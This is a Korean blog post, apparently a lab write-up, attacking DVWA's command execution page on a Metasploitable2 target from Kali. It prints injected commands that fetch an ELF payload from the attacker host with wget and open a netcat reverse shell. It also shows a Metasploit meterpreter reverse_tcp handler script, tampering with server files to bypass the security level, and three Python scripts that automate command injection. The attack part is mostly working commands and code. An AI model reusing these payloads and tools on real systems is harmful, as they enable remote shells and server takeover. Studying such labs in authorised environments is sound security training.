웹 해킹 & 보안

[웹 모의해킹] Command Execution 2 - 명령어 실행 취약점 심화 실습

ahhyun98 2025. 5. 30. 15:43

 

이번 실습은 DVWACommand Execution(명령어 실행) 취약점을 활용하여 리버스 쉘 획득, 파일 실행, 웹 서버 침투, 자동화 도구 제작까지 수행해 보는 고급 과정이다. 

 

단순 명령어 삽입을 넘어 시스템 명령 실행을 통한 직접적인 시스템 제어가 가능함을 확인하였다. 


1. 실습 환경

  • 공격자 : Kali Linux
  • Target : Metasploitable2 (DVWA 설치)
  • DVWA URL : http://target_ip/dvwa/vulnerabilities/exec/
  • 보안 레벨 : Low
  • 주요 도구 : Metasploit2, Netcat, Python, wget

2. [Step 1] 악성 파일 다운로드

 

삽입한 명령어

target_ip & wget attacker_ip ./abc.elf
  • abc.elf는 Kali에서 호스팅 중인 ELF 실행파일이다.
  • 실행 전 반드시 Kali에서 apache2 서비스가 켜져 있어야 다운로드가 성공한다. 

3. [Step 2] Netcat을 이용한 리버스 쉘 연결

 

명령어 삽입

8.8.8.8 & nc attacker_ip 5555 -e /bin/sh
  • DVWA를 통해 Netcat 명령을 실행하여 Kali 리스너로 리버스 쉘 연결을 시도하였다. 


4. [Step 3] Metasploit 리버스 쉘 연결

handler.rc 설정 파일 이용

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost attacker_ip
set lport 4444
set exitonsession false
exploit -j
  • Metasploit에서 자동 실행 파일(handler.rc)로 리스너를 실행하였다.
  • Kali에서 abc.elf 파일 실행 시 다음과 같이 Meterpreter 세션이 연결되었다.
[*] Sending stage ...
[*] Meterpreter session 1 opened (attacker_ip:4444 -> target_ip:59100)

 

 

 

 

 


5. [Step 4] Meterpreter 세션 활용

 

시스템 탐색

meterpreter > ls
meterpreter > cd /var/www/dvwa/vulnerabilities/exec/
meterpreter > ls
  • 기존 생성된 abc.elf, ahhyun 디렉터리, index.php, source 디렉터리 등이 확인됨. 

 

 

 

 

 

 


6. [Step 5] 보안 우회 테스트 - high.php 교체

 

high.php => low.php 코드로 교체

meterpreter > cd source
meterpreter > cp high.php high.bak
meterpreter > rm high.php
meterpreter > cp low.php high.php

 

  • 보안 레벨을 High로 설정해도 Low 동작이 적용되도록 파일을 교체하였다. 
  • 결과적으로 High 상태에서도 명령어 삽입이 가능해졌다.

 

 

 

 

=> High로 설정해도 Low 코드가 나온다.

 

 

=> 이렇게 개발자 도구를 이용해서 바꿔줄 수도 있다. 


7. [Step 6] 파이썬 자동화 도구 제작

 

1차 버젼 : 고정 명령어 테스트

import requests

url = "http://target_ip/dvwa/vulnerabilities/exec/"
cookies = {"security": "low", "PHPSESSID": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

command = "id"
response = requests.post(url, data={"ip": f"target_ip;{command}"}, cookies=cookies)

if response.status_code == 200 and "uid" in response.text:
    print(f"커맨드 인젝션 성공!!: {command}")
else:
    print(f"커맨드 인젝션 실패!: {command}")

 

2차 버젼 : 사용자 입력 기반

import requests

url = "http://target_ip/dvwa/vulnerabilities/exec/"
cookies = {"security": "low", "PHPSESSID": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

command = input("실행할 명령어를 입력하세요: ")
response = requests.post(url, data={"ip": f"target_ip;{command}"}, cookies=cookies)

if response.status_code == 200 and "www-data" in response.text:
    print(f"커맨드 인젝션 성공!!: {command}")
    print(response.text)
else:
    print(f"커맨드 인젝션 실패!!: {command}")

 

3차 버젼 : 결과 파싱 추가 (정규식 사용)

import requests
import re

url = "http://target_ip/dvwa/vulnerabilities/exec/"
cookies = {"security": "low", "PHPSESSID": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

command = input("실행할 명령어를 입력하세요: ")
response = requests.post(url, data={"ip": f"target_ip;{command}"}, cookies=cookies)

output = re.search("<pre>(.*?)</pre>", response.text, re.DOTALL)

if f"Command {command} not found" not in response.text:
    print(f"커맨드 인젝션 성공!!: {command}")
    print("결과 :")
    print(output.group(1).strip() if output else "출력 없음")
else:
    print(f"커맨드 인젝션 실패!!: {command}")

 

 


8. 실습 명령어 예시 결과

  • whoami => www-data 출력
  • ls => DVWA 파일 목록 출력
  • nmap -vv target_ip => 열린 포트 다수 확인
  • /sbin/ifconfig => target_ip, 네트워크 인터페이스 확인

9. 실습 요약

단계 내용
악성 파일 전송 wget으로 공격자 서버에서 abc.elf 다운로드
리버스 쉘 연결 Netcat 및 Metasploit로 연결 성공
파일 조작 high.php => low.php 덮어쓰기 통한 보안 우회
자동화 도구 제작 Python으로 명령어 삽입 도구 제작 및 결과 파싱
명령어 실행 시스템 명령어 실행으로 서버 정보 탐색

 

 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.